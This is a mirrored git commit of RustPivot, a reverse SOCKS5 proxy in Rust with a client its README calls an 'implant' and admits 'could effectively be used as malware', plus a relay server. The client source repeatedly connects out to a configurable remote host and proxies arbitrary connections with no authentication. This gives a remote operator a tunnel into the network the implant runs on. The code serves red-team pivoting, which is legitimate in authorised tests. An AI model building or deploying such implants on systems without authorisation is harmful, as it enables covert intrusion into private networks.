mirror of
https://github.com/deadjakk/RustPivot
synced 2026-06-08 13:46:27 +00:00
github init
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
[workspace]
|
||||
members=[
|
||||
"client",
|
||||
"server"
|
||||
]
|
||||
@@ -0,0 +1,18 @@
|
||||
# RustPivot
|
||||
|
||||
This is a reverse socks proxy written in Rust,
|
||||
the SOCKS5 code is largely implemented from the
|
||||
code from https://github.com/ajmwagar/merino.
|
||||
References have been remove so as not to associate the original
|
||||
oracle repo with what could effectively be used as malware.
|
||||
|
||||
This is the first iteration of a larger project for private use, placed here
|
||||
for community reference, usage, etc, as I had not seen a reverse socks proxy
|
||||
yet written in Rust. That said, unless there are some critical bugs,
|
||||
I likely will not be updating this project.
|
||||
|
||||
Further information on building and using this tool can be found in each
|
||||
component's respective README.md files. [here](server/README.md) and [here](implant/README.md).
|
||||
|
||||
Rustup/Cargo is required to build these, information for installing these can be located [here](https://www.rust-lang.org/tools/install).
|
||||
|
||||
Executable
+8
@@ -0,0 +1,8 @@
|
||||
[package]
|
||||
name = "client"
|
||||
version = "0.0.2"
|
||||
description = "A reverse SOCKS5 Proxy client written in Rust"
|
||||
readme = "README.md"
|
||||
edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
# RustPivot Implant
|
||||
|
||||
Requires the rustup/cargo to build the binary
|
||||
First edit the 'port' and 'ip' variables in src/main.rs to match the backend
|
||||
address configured for server.
|
||||
Then build with:
|
||||
cargo build --release --bin implant
|
||||
|
||||
Note: it will build for whatever operating system it is compiled on unless
|
||||
specified otherwise via the --target flag
|
||||
Executable
+383
@@ -0,0 +1,383 @@
|
||||
#![forbid(unsafe_code)]
|
||||
use std::io::prelude::*;
|
||||
use std::time::Duration;
|
||||
use std::io::copy;
|
||||
use std::net::{Shutdown, TcpStream, SocketAddr, SocketAddrV4, SocketAddrV6, Ipv4Addr, Ipv6Addr, ToSocketAddrs};
|
||||
use std::{thread};
|
||||
|
||||
type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
|
||||
|
||||
/// Version of socks
|
||||
const SOCKS_VERSION: u8 = 0x05;
|
||||
|
||||
const RESERVED: u8 = 0x00;
|
||||
|
||||
#[derive(Clone,Debug, PartialEq)]
|
||||
pub struct User {
|
||||
pub username: String,
|
||||
password: String
|
||||
}
|
||||
|
||||
|
||||
#[derive(Debug)]
|
||||
/// Possible SOCKS5 Response Codes
|
||||
enum ResponseCode {
|
||||
Success = 0x00,
|
||||
}
|
||||
|
||||
/// DST.addr variant types
|
||||
#[derive(PartialEq)]
|
||||
enum AddrType {
|
||||
V4 = 0x01,
|
||||
Domain = 0x03,
|
||||
V6 = 0x04,
|
||||
}
|
||||
|
||||
impl AddrType {
|
||||
/// Parse Byte to Command
|
||||
fn from(n: usize) -> Option<AddrType> {
|
||||
match n {
|
||||
1 => Some(AddrType::V4),
|
||||
3 => Some(AddrType::Domain),
|
||||
4 => Some(AddrType::V6),
|
||||
_ => None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// SOCK5 CMD Type
|
||||
#[derive(Debug)]
|
||||
enum SockCommand {
|
||||
Connect = 0x01,
|
||||
Bind = 0x02,
|
||||
UdpAssosiate = 0x3
|
||||
}
|
||||
|
||||
impl SockCommand {
|
||||
/// Parse Byte to Command
|
||||
fn from(n: usize) -> Option<SockCommand> {
|
||||
match n {
|
||||
1 => Some(SockCommand::Connect),
|
||||
2 => Some(SockCommand::Bind),
|
||||
3 => Some(SockCommand::UdpAssosiate),
|
||||
_ => None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Client Authentication Methods
|
||||
pub enum AuthMethods {
|
||||
/// No Authentication
|
||||
NoAuth = 0x00,
|
||||
// GssApi = 0x01,
|
||||
/// Authenticate with a username / password
|
||||
UserPass = 0x02,
|
||||
/// Cannot authenticate
|
||||
NoMethods = 0xFF
|
||||
}
|
||||
|
||||
pub struct Client {
|
||||
ip: String,
|
||||
port: u16,
|
||||
auth_methods: Vec<u8>
|
||||
}
|
||||
|
||||
impl Client {
|
||||
pub fn new(port: u16, ip: &str, auth_methods: Vec<u8>) -> Result<Self> {
|
||||
Ok( Client{
|
||||
ip: ip.to_string(),
|
||||
port,
|
||||
auth_methods,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn serve(&mut self) -> Result<()> {
|
||||
loop {
|
||||
match TcpStream::connect((&self.ip[..],self.port)){
|
||||
Ok(stream) => {
|
||||
let mut client = SOCKClient::new(
|
||||
stream,
|
||||
self.auth_methods.clone()
|
||||
);
|
||||
println!("+");
|
||||
match client.init() {
|
||||
Ok(_) => {
|
||||
}
|
||||
Err(_) =>()
|
||||
};
|
||||
}
|
||||
_=> {
|
||||
println!("-");
|
||||
thread::sleep(Duration::from_millis(1000));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct SOCKClient {
|
||||
stream: TcpStream,
|
||||
auth_nmethods: u8,
|
||||
auth_methods: Vec<u8>,
|
||||
socks_version: u8
|
||||
}
|
||||
|
||||
impl SOCKClient {
|
||||
/// Create a new SOCKClient
|
||||
pub fn new(stream: TcpStream, auth_methods: Vec<u8>) -> Self {
|
||||
SOCKClient {
|
||||
stream,
|
||||
auth_nmethods: 0,
|
||||
socks_version: 0,
|
||||
auth_methods
|
||||
}
|
||||
}
|
||||
|
||||
/// Shutdown a client
|
||||
pub fn shutdown(&mut self) -> Result<()> {
|
||||
self.stream.shutdown(Shutdown::Both)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn init(&mut self) -> Result<()> {
|
||||
// perform the preflight check
|
||||
// this is handled by clients_server, client side proxy
|
||||
// code never sees this take place
|
||||
let mut preflight_buf = [0x22,0x44];
|
||||
self.stream.write_all(&mut preflight_buf)?;
|
||||
|
||||
// Actual SOCKS prcedure beginss
|
||||
let mut header = [0u8; 2];
|
||||
// Read a byte from the stream and determine the version being requested
|
||||
self.stream.read_exact(&mut header)?;
|
||||
|
||||
self.socks_version = header[0];
|
||||
self.auth_nmethods = header[1];
|
||||
|
||||
//trace!("Version: {} Auth nmethods: {}", self.socks_version, self.auth_nmethods);
|
||||
|
||||
// Handle SOCKS4 requests
|
||||
if header[0] != SOCKS_VERSION {
|
||||
//warn!("Init: Unsupported version: SOCKS{}", self.socks_version);
|
||||
self.shutdown()?;
|
||||
}
|
||||
// Valid SOCKS5
|
||||
else {
|
||||
// Authenticate w/ client
|
||||
self.auth()?;
|
||||
// Handle requests
|
||||
self.handle_client()?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn auth(&mut self) -> Result<()> {
|
||||
//debug!("Authenticating w/ {}", self.stream.peer_addr()?.ip());
|
||||
// Get valid auth methods
|
||||
let methods = self.get_avalible_methods()?;
|
||||
//trace!("methods: {:?}", methods);
|
||||
|
||||
let mut response = [0u8; 2];
|
||||
|
||||
// Set the version in the response
|
||||
response[0] = SOCKS_VERSION;
|
||||
|
||||
if methods.contains(&(AuthMethods::NoAuth as u8)) {
|
||||
// set the default auth method (no auth)
|
||||
response[1] = AuthMethods::NoAuth as u8;
|
||||
self.stream.write_all(&response)?;
|
||||
Ok(())
|
||||
}
|
||||
else {
|
||||
response[1] = AuthMethods::NoMethods as u8;
|
||||
self.stream.write_all(&response)?;
|
||||
self.shutdown()?;
|
||||
Err(From::from(".."))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// Handles a client
|
||||
pub fn handle_client(&mut self) -> Result<()> {
|
||||
let req = SOCKSReq::from_stream(&mut self.stream)?;
|
||||
|
||||
if req.addr_type == AddrType::V6 {
|
||||
}
|
||||
|
||||
|
||||
match req.command {
|
||||
SockCommand::Connect => {
|
||||
let sock_addr = addr_to_socket(&req.addr_type, &req.addr, req.port)?;
|
||||
let target = TcpStream::connect(&sock_addr[..])?;
|
||||
|
||||
self.stream.write_all(&[SOCKS_VERSION, ResponseCode::Success as u8, RESERVED, 1, 127, 0, 0, 1, 0, 0]).unwrap();
|
||||
|
||||
let mut outbound_in = target.try_clone()?;
|
||||
let mut outbound_out = target.try_clone()?;
|
||||
let mut inbound_in = self.stream.try_clone()?;
|
||||
let mut inbound_out = self.stream.try_clone()?;
|
||||
|
||||
|
||||
// Download Thread
|
||||
thread::spawn(move || {
|
||||
match copy(&mut outbound_in, &mut inbound_out){
|
||||
Ok(_) => {
|
||||
outbound_in.shutdown(Shutdown::Read).unwrap_or(());
|
||||
inbound_out.shutdown(Shutdown::Write).unwrap_or(());
|
||||
}
|
||||
Err(_) => (),
|
||||
}
|
||||
});
|
||||
|
||||
// Upload Thread
|
||||
thread::spawn(move || {
|
||||
match copy(&mut inbound_in, &mut outbound_out){
|
||||
Ok(_) =>{
|
||||
inbound_in.shutdown(Shutdown::Read).unwrap_or(());
|
||||
outbound_out.shutdown(Shutdown::Write).unwrap_or(());
|
||||
}
|
||||
Err(_) => (),
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
},
|
||||
SockCommand::Bind => { },
|
||||
SockCommand::UdpAssosiate => { },
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return the avalible methods based on `self.auth_nmethods`
|
||||
fn get_avalible_methods(&mut self) -> Result<Vec<u8>> {
|
||||
let mut methods: Vec<u8> = Vec::with_capacity(self.auth_nmethods as usize);
|
||||
for _ in 0..self.auth_nmethods {
|
||||
let mut method = [0u8; 1];
|
||||
self.stream.read_exact(&mut method)?;
|
||||
if self.auth_methods.contains(&method[0]) {
|
||||
methods.append(&mut method.to_vec());
|
||||
}
|
||||
}
|
||||
Ok(methods)
|
||||
}
|
||||
}
|
||||
|
||||
/// Convert an address and AddrType to a SocketAddr
|
||||
fn addr_to_socket(addr_type: &AddrType, addr: &[u8], port: u16) -> Result<Vec<SocketAddr>> {
|
||||
match addr_type {
|
||||
AddrType::V6 => {
|
||||
let new_addr = (0..8).map(|x| {
|
||||
(u16::from(addr[(x * 2)]) << 8) | u16::from(addr[(x * 2) + 1])
|
||||
}).collect::<Vec<u16>>();
|
||||
|
||||
|
||||
Ok(vec![SocketAddr::from(
|
||||
SocketAddrV6::new(
|
||||
Ipv6Addr::new(
|
||||
new_addr[0], new_addr[1], new_addr[2], new_addr[3], new_addr[4], new_addr[5], new_addr[6], new_addr[7]),
|
||||
port, 0, 0)
|
||||
)])
|
||||
},
|
||||
AddrType::V4 => {
|
||||
Ok(vec![SocketAddr::from(SocketAddrV4::new(Ipv4Addr::new(addr[0], addr[1], addr[2], addr[3]), port))])
|
||||
},
|
||||
AddrType::Domain => {
|
||||
let mut domain = String::from_utf8_lossy(&addr[..]).to_string();
|
||||
domain.push_str(&":");
|
||||
domain.push_str(&port.to_string());
|
||||
|
||||
Ok(domain.to_socket_addrs().unwrap().collect())
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Proxy User Request
|
||||
struct SOCKSReq {
|
||||
pub version: u8,
|
||||
pub command: SockCommand,
|
||||
pub addr_type: AddrType,
|
||||
pub addr: Vec<u8>,
|
||||
pub port: u16
|
||||
}
|
||||
|
||||
impl SOCKSReq {
|
||||
/// Parse a SOCKS Req from a TcpStream
|
||||
fn from_stream(stream: &mut TcpStream) -> Result<Self> {
|
||||
let mut packet = [0u8; 4];
|
||||
// Read a byte from the stream and determine the version being requested
|
||||
stream.read_exact(&mut packet)?;
|
||||
|
||||
if packet[0] != SOCKS_VERSION {
|
||||
stream.shutdown(Shutdown::Both)?;
|
||||
}
|
||||
|
||||
// Get command
|
||||
let mut command: SockCommand = SockCommand::Connect;
|
||||
match SockCommand::from(packet[1] as usize) {
|
||||
Some(com) => {
|
||||
command = com;
|
||||
},
|
||||
None => {
|
||||
stream.shutdown(Shutdown::Both)?;
|
||||
}
|
||||
};
|
||||
|
||||
// DST.address
|
||||
let mut addr_type: AddrType = AddrType::V6;
|
||||
match AddrType::from(packet[3] as usize) {
|
||||
Some(addr) => {
|
||||
addr_type = addr;
|
||||
},
|
||||
None => {
|
||||
stream.shutdown(Shutdown::Both)?;
|
||||
}
|
||||
};
|
||||
|
||||
// Get Addr from addr_type and stream
|
||||
let addr: Result<Vec<u8>> = match addr_type {
|
||||
AddrType::Domain => {
|
||||
let mut dlen = [0u8; 1];
|
||||
stream.read_exact(&mut dlen)?;
|
||||
|
||||
let mut domain = vec![0u8; dlen[0] as usize];
|
||||
stream.read_exact(&mut domain)?;
|
||||
|
||||
Ok(domain)
|
||||
},
|
||||
AddrType::V4 => {
|
||||
let mut addr = [0u8; 4];
|
||||
stream.read_exact(&mut addr)?;
|
||||
Ok(addr.to_vec())
|
||||
},
|
||||
AddrType::V6 => {
|
||||
let mut addr = [0u8; 16];
|
||||
stream.read_exact(&mut addr)?;
|
||||
Ok(addr.to_vec())
|
||||
}
|
||||
};
|
||||
|
||||
let addr = addr?;
|
||||
|
||||
// read DST.port
|
||||
let mut port = [0u8; 2];
|
||||
stream.read_exact(&mut port)?;
|
||||
|
||||
// Merge two u8s into u16
|
||||
let port = (u16::from(port[0]) << 8) | u16::from(port[1]);
|
||||
|
||||
// Return parsed request
|
||||
Ok(SOCKSReq {
|
||||
version: packet[0],
|
||||
command,
|
||||
addr_type,
|
||||
addr,
|
||||
port
|
||||
})
|
||||
}
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
use std::error::Error;
|
||||
use client::*;
|
||||
|
||||
// base socks code sourced from https://github.com/ajmwagar/merino,
|
||||
// with modifications by @deadjakk
|
||||
|
||||
fn main() -> Result<(), Box<dyn Error>> {
|
||||
let ip = "localhost"; // change this to remote server
|
||||
let port = 3030; // ditto
|
||||
let mut auth_methods: Vec<u8> = Vec::new();
|
||||
// Allow unauthenticated connections
|
||||
auth_methods.push(client::AuthMethods::NoAuth as u8);
|
||||
let mut client = Client::new(port, ip, auth_methods)?;
|
||||
|
||||
loop {
|
||||
match client.serve(){
|
||||
Ok(_) => (),
|
||||
Err(e) => println!("{:?}",e),
|
||||
};
|
||||
}
|
||||
}
|
||||
Executable
+9
@@ -0,0 +1,9 @@
|
||||
[package]
|
||||
name = "server"
|
||||
version = "0.1.0"
|
||||
authors = ["deadjakk <deadjakk@shell.rip>"]
|
||||
edition = "2018"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
@@ -0,0 +1,13 @@
|
||||
# RustPivot Server
|
||||
|
||||
This should be compiled and run on the server that is
|
||||
receiving the connection from the RustPivot client.
|
||||
|
||||
Build:
|
||||
`cargo b --bin server --release`
|
||||
|
||||
Usage:
|
||||
`./target/release/server 127.0.0.1:2020 0.0.0.0:3030`
|
||||
|
||||
There is no interaction with this server, just information
|
||||
regarding the state of the socks communication.
|
||||
Executable
+130
@@ -0,0 +1,130 @@
|
||||
use std::env;
|
||||
use std::io::copy;
|
||||
use std::time::Duration;
|
||||
use std::io::prelude::*;
|
||||
use std::sync::{mpsc::channel,mpsc::Receiver,mpsc::Sender};
|
||||
use std::{thread};
|
||||
use std::net::{Shutdown, TcpStream, TcpListener};
|
||||
type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
|
||||
|
||||
fn main(){
|
||||
|
||||
// create channels in which to store stream
|
||||
let (streams_t, streams_r) : (Sender<TcpStream>, Receiver<TcpStream>) = channel();
|
||||
|
||||
// create two listeners, one for socks clients
|
||||
let frontend = env::args().nth(1)
|
||||
.expect("first arg not given, usage: <localaddr:port> <externaladdr:port>");
|
||||
let backend = env::args().nth(2)
|
||||
.expect("second arg not given, usage: <localaddr:port> <externaladdr:port>");
|
||||
println!("set socks5 proxy to {} to connect", frontend);
|
||||
|
||||
thread::spawn(move || {
|
||||
|
||||
// create the listener for the connection from the connecting
|
||||
let listener = TcpListener::bind(backend).unwrap();
|
||||
|
||||
loop {
|
||||
match listener.accept(){
|
||||
Ok((stream,addr)) => {
|
||||
println!("received reverse proxy connection from : {:?}",addr);
|
||||
if let Err(e) = streams_t.send(stream) {
|
||||
println!("error channeling socket :{:?}",e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
_ => (),
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
let listener = TcpListener::bind(frontend).unwrap();
|
||||
loop {
|
||||
match listener.accept(){
|
||||
Ok((mut fstream,addr)) => {
|
||||
println!("received client connection from: {:?}",addr);
|
||||
|
||||
match streams_r.recv_timeout(Duration::from_millis(1000)){
|
||||
Ok(mut bstream) => {
|
||||
// validate the socket is still alive before handing it off
|
||||
match validate_stream(&mut bstream) {
|
||||
Ok(_) => {
|
||||
// stream is valid, move copy the fd
|
||||
handle_streams(&mut fstream,&mut bstream);
|
||||
}
|
||||
Err(e) => {
|
||||
// in case there are more in the channel
|
||||
println!("error validating sock:{:?}",e);
|
||||
if let Err(e) = bstream.shutdown(Shutdown::Both){
|
||||
println!("error, shutting backend socket: {:?}", e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_=> { // no back end stream available, closing socket
|
||||
if let Err(e) = fstream.shutdown(Shutdown::Both){
|
||||
println!("error, shutting client socket: {:?}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => (),
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
fn validate_stream(bstream: &mut TcpStream) -> Result<()> {
|
||||
let mut read_buf = [0u8,2];
|
||||
bstream.read_exact(&mut read_buf)?;
|
||||
match &read_buf {
|
||||
&[0x22,0x44] => {
|
||||
// 'preflight' check
|
||||
Ok(())
|
||||
}
|
||||
_ =>{
|
||||
Err(From::from("preflight message received was incorrect"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_streams(fstream: &mut TcpStream, bstream: &mut TcpStream) {
|
||||
|
||||
// Copy it all
|
||||
let mut outbound_in = bstream.try_clone().expect("failed to clone socket");
|
||||
let mut outbound_out = bstream.try_clone().expect("failed to clone socket");
|
||||
let mut inbound_in = fstream.try_clone().expect("failed to clone socket");
|
||||
let mut inbound_out = fstream.try_clone().expect("failed to clone socket");
|
||||
|
||||
// if alive, copy socks together in new threads
|
||||
thread::spawn(move || {
|
||||
match copy(&mut outbound_in, &mut inbound_out){
|
||||
Ok(_)=>{
|
||||
// these are GOING to throw errors, so just unwrapping
|
||||
outbound_in.shutdown(Shutdown::Read).unwrap_or(());
|
||||
inbound_out.shutdown(Shutdown::Write).unwrap_or(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("failed to perform the copy on sockets.");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Upload Thread
|
||||
thread::spawn(move || {
|
||||
match copy(&mut inbound_in, &mut outbound_out) {
|
||||
Ok(_) => {
|
||||
// these are GOING to throw errors, so just unwrapping
|
||||
inbound_in.shutdown(Shutdown::Read).unwrap_or(());
|
||||
outbound_out.shutdown(Shutdown::Write).unwrap_or(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("failed to perform the copy on sockets..");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user